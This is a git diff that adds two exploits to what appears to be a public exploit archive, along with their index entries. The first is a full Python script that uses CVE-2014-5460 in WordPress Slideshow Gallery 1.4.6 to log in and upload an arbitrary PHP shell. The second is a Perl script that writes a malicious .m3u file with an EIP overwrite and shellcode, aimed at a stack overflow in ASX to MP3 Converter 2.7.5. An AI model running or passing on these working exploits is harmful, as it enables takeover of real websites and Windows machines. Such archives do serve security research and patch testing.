diff --git a/files.csv b/files.csv index b01dee741..c141984f2 100755 --- a/files.csv +++ b/files.csv @@ -31227,6 +31227,7 @@ id,file,description,date,author,platform,type,port 34677,platforms/php/webapps/34677.txt,"WebStatCaffe stat/pageviewers.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0 34678,platforms/php/webapps/34678.txt,"WebStatCaffe stat/pageviewerschart.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0 34679,platforms/php/webapps/34679.txt,"WebStatCaffe stat/referer.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0 +34681,platforms/php/webapps/34681.txt,"Wordpress Slideshow Gallery 1.4.6 - Shell Upload (Python Exploit)",2014-09-16,"Claudio Viviani",php,webapps,0 34682,platforms/ios/webapps/34682.txt,"USB&WiFi Flash Drive 1.3 iOS - Code Execution Vulnerability",2014-09-16,Vulnerability-Lab,ios,webapps,8080 34683,platforms/php/webapps/34683.txt,"e-soft24 Article Directory Script 'q' Parameter Cross Site Scripting Vulnerability",2009-08-30,"599eme Man",php,webapps,0 34684,platforms/php/webapps/34684.pl,"Joomla Spain Component 'nv' Parameter SQL Injection Vulnerability",2010-09-20,FL0RiX,php,webapps,0 @@ -31442,3 +31443,4 @@ id,file,description,date,author,platform,type,port 34917,platforms/multiple/webapps/34917.txt,"IBM Tivoli Access Manager for e-business ibm/wpm/webseal method Parameter XSS",2010-10-22,IBM,multiple,webapps,0 34918,platforms/cgi/webapps/34918.txt,"Ultra Electronics 7.2.0.19 and 7.4.0.7 - Multiple Vulnerabilities",2014-10-06,"OSI Security",cgi,webapps,443 34919,platforms/php/webapps/34919.txt,"SkyBlueCanvas 1.1 r237 'admin.php' Directory Traversal Vulnerability",2009-07-16,MaXe,php,webapps,0 +34921,platforms/windows/local/34921.pl,"Asx to Mp3 2.7.5 - Stack Overflow",2014-10-07,"Amir Tavakolian",windows,local,0 diff --git a/platforms/php/webapps/34681.txt b/platforms/php/webapps/34681.txt new file mode 100755 index 000000000..904b53247 --- /dev/null +++ b/platforms/php/webapps/34681.txt @@ -0,0 +1,246 @@ +#!/usr/bin/env python +# +# WordPress Slideshow Gallery 1.4.6 Shell Upload Exploit +# +# WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability (CVE-2014-5460) +# +# Vulnerability discovered by: Jesus Ramirez Pichardo - http://whitexploit.blogspot.mx/ +# +# Exploit written by: Claudio Viviani - info@homelab.it - http://www.homelab.it +# +# +# Disclaimer: +# +# This exploit is intended for educational purposes only and the author +# can not be held liable for any kind of damages done whatsoever to your machine, +# or damages caused by some other,creative application of this exploit. +# In any case you disagree with the above statement,stop here. +# +# +# Requirements: +# +# 1) Enabled user management slide +# 2) python's httplib2 lib +# Installation: pip install httplib2 +# +# Usage: +# +# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost -u user -p pwd -f sh33l.php +# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost/wordpress -u user -p pwd -f sh33l.php +# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost:80|443 -u user -p pwd -f sh33l.php +# +# Backdoor Location: +# +# http://localhost/wp-content/uploads/slideshow-gallery/sh33l.php +# +# Tested on Wordpress 3.6, 3.7, 3.8, 3.9, 4.0 +# + +# http connection +import urllib, httplib2, sys, mimetypes +# Args management +import optparse +# Error management +import socket, httplib, sys +# file management +import os, os.path + +# Check url +def checkurl(url): + if url[:8] != "https://" and url[:7] != "http://": + print('[X] You must insert http:// or https:// procotol') + sys.exit(1) + else: + return url + +# Check if file exists and has readable +def checkfile(file): + if not os.path.isfile(file) and not os.access(file, os.R_OK): + print '[X] '+file+' file is missing or not readable' + sys.exit(1) + else: + return file +# Get file's mimetype +def get_content_type(filename): + return mimetypes.guess_type(filename)[0] or 'application/octet-stream' + +# Create multipart header +def create_body_sh3ll_upl04d(payloadname): + + getfields = dict() + getfields['Slide[id]'] = '' + getfields['Slide[order]'] = '' + getfields['Slide[title]'] = 'h0m3l4b1t' + getfields['Slide[description]'] = 'h0m3l4b1t' + getfields['Slide[showinfo]'] = 'both' + getfields['Slide[iopacity]'] = '70' + getfields['Slide[type]'] = 'file' + getfields['Slide[image_url]'] = '' + getfields['Slide[uselink]'] = 'N' + getfields['Slide[link]'] = '' + getfields['Slide[linktarget]'] = 'self' + getfields['Slide[title]'] = 'h0m3l4b1t' + + payloadcontent = open(payloadname).read() + + LIMIT = '----------lImIt_of_THE_fIle_eW_$' + CRLF = '\r\n' + + L = [] + for (key, value) in getfields.items(): + L.append('--' + LIMIT) + L.append('Content-Disposition: form-data; name="%s"' % key) + L.append('') + L.append(value) + + L.append('--' + LIMIT) + L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('image_file', payloadname)) + L.append('Content-Type: %s' % get_content_type(payloadname)) + L.append('') + L.append(payloadcontent) + L.append('--' + LIMIT + '--') + L.append('') + body = CRLF.join(L) + return body + +banner = """ + + $$$$$$\ $$\ $$\ $$\ $$\ +$$ __$$\ $$ |\__| $$ | $$ | +$$ / \__|$$ |$$\ $$$$$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$\ +\$$$$$$\ $$ |$$ |$$ __$$ |$$ __$$\ $$ _____|$$ __$$\ $$ __$$\ $$ | $$ | $$ | + \____$$\ $$ |$$ |$$ / $$ |$$$$$$$$ |\$$$$$$\ $$ | $$ |$$ / $$ |$$ | $$ | $$ | +$$\ $$ |$$ |$$ |$$ | $$ |$$ ____| \____$$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ | +\$$$$$$ |$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$$$$$$ |$$ | $$ |\$$$$$$ |\$$$$$\$$$$ | + \______/ \__|\__| \_______| \_______|\_______/ \__| \__| \______/ \_____\____/ + + + + $$$$$$\ $$\ $$\ $$\ $$\ $$\ $$$$$$\ + $$ __$$\ $$ |$$ | $$$$ |$$ | $$ | $$ __$$\ + $$ / \__| $$$$$$\ $$ |$$ | $$$$$$\ $$$$$$\ $$\ $$\ \_$$ |$$ | $$ | $$ / \__| + $$ |$$$$\ \____$$\ $$ |$$ |$$ __$$\ $$ __$$\ $$ | $$ | $$ |$$$$$$$$ | $$$$$$$\ + $$ |\_$$ | $$$$$$$ |$$ |$$ |$$$$$$$$ |$$ | \__|$$ | $$ | $$ |\_____$$ | $$ __$$\ + $$ | $$ |$$ __$$ |$$ |$$ |$$ ____|$$ | $$ | $$ | $$ | $$ | $$ / $$ | + \$$$$$$ |\$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ | \$$$$$$$ | $$$$$$\ $$\ $$ |$$\ $$$$$$ | + \______/ \_______|\__|\__| \_______|\__| \____$$ | \______|\__|\__|\__|\______/ + $$\ $$ | + \$$$$$$ | + \______/ + + W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln. + + ============================================= + - Release date: 2014-08-28 + - Discovered by: Jesus Ramirez Pichardo + - CVE: 2014-5460 + ============================================= + + Written by: + + Claudio Viviani + + http://www.homelab.it + + info@homelab.it + homelabit@protonmail.ch + + https://www.facebook.com/homelabit + https://twitter.com/homelabit + https://plus.google.com/+HomelabIt1/ + https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww +""" + +commandList = optparse.OptionParser('usage: %prog -t URL -u USER -p PASSWORD -f FILENAME.PHP [--timeout sec]') +commandList.add_option('-t', '--target', action="store", + help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", + ) +commandList.add_option('-f', '--file', action="store", + help="Insert file name, ex: shell.php", + ) +commandList.add_option('-u', '--user', action="store", + help="Insert Username", + ) +commandList.add_option('-p', '--password', action="store", + help="Insert Password", + ) +commandList.add_option('--timeout', action="store", default=10, type="int", + help="[Timeout Value] - Default 10", + ) + +options, remainder = commandList.parse_args() + +# Check args +if not options.target or not options.user or not options.password or not options.file: + print(banner) + commandList.print_help() + sys.exit(1) + +payloadname = checkfile(options.file) +host = checkurl(options.target) +username = options.user +pwd = options.password +timeout = options.timeout + +print(banner) + +url_login_wp = host+'/wp-login.php' +url_admin_slideshow = host+'/wp-admin/admin.php?page=slideshow-slides&method=save' + +content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$' + +http = httplib2.Http(disable_ssl_certificate_validation=True, timeout=timeout) + +# Wordpress login POST Data +body = { 'log':username, + 'pwd':pwd, + 'wp-submit':'Login', + 'testcookie':'1' } +# Wordpress login headers with Cookie +headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', + 'Content-type': 'application/x-www-form-urlencoded', + 'Cookie': 'wordpress_test_cookie=WP+Cookie+check' } +try: + response, content = http.request(url_login_wp, 'POST', headers=headers, body=urllib.urlencode(body)) + if len(response['set-cookie'].split(" ")) < 4: + #if 'httponly' in response['set-cookie'].split(" ")[-1]: + print '[X] Wrong username or password' + sys.exit() + else: + print '[+] Username & password ACCEPTED!\n' + + # Create cookie for admin panel + if 'secure' in response['set-cookie']: + c00k13 = response['set-cookie'].split(" ")[6]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[10] + else: + c00k13 = response['set-cookie'].split(" ")[5]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[8] + + bodyupload = create_body_sh3ll_upl04d(payloadname) + + headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', + 'Cookie': c00k13, + 'content-type': content_type, + 'content-length': str(len(bodyupload)) } + response, content = http.request(url_admin_slideshow, 'POST', headers=headers, body=bodyupload) + + if 'admin.php?page=slideshow-slides&Galleryupdated=true&Gallerymessage=Slide+has+been+saved' in content: + print '[!] Shell Uploaded!' + print '[+] Check url: '+host+'/wp-content/uploads/slideshow-gallery/'+payloadname.lower()+' (lowercase!!!!)' + else: + print '[X] The user can not upload files or plugin fixed :(((' + +except socket.timeout: + print('[X] Connection Timeout') + sys.exit(1) +except socket.error: + print('[X] Connection Refused') + sys.exit(1) +except httplib.ResponseNotReady: + print('[X] Server Not Responding') + sys.exit(1) +except httplib2.ServerNotFoundError: + print('[X] Server Not Found') + sys.exit(1) +except httplib2.HttpLib2Error: + print('[X] Connection Error!!') + sys.exit(1) diff --git a/platforms/windows/local/34921.pl b/platforms/windows/local/34921.pl new file mode 100755 index 000000000..95a6ef859 --- /dev/null +++ b/platforms/windows/local/34921.pl @@ -0,0 +1,52 @@ +########################################################################################### +# Exploit Title: ASX to MP3 Converter 2.7.5 stack buffer overflow +# Date: 6 Oct 2014 +# Exploit Author: Amir Reza Tavakolian +# Vendor Homepage: http://binarylife.blog.ir/ +# Software Link: http://download.cnet.com/ASX-to-MP3-Converter/3000-2168_4-10385919.html +# Version: 2.7.5 +# Tested on: windows xp sp 3 +# +# +# Special thanks to Mr Michael Czumak (T_v3rn1x) for his tutorial in securitysift.com. +# Thanks Mike. :) +########################################################################################## + + + + + +#!/usr/bin/perl + +my $junk = "\x41" x 35056; +my $eip = pack ('V', 0x73e848a7); + + + +my $nop = "\x90" x 4; + +my $shellcode = "\x90" x 25; +$shellcode = $shellcode . "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" . + "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" . + "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" . + "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" . + "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" . + "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" . + "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" . + "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; + +my $junk1 = "c" x 24806; + + + + +my $total = $junk.$eip.$nop.$shellcode.$junk1; +my $file = "poc1.m3u"; + + +open (FILE, ">$file"); +print FILE $total; +close (FILE); +print "Done.../"; + +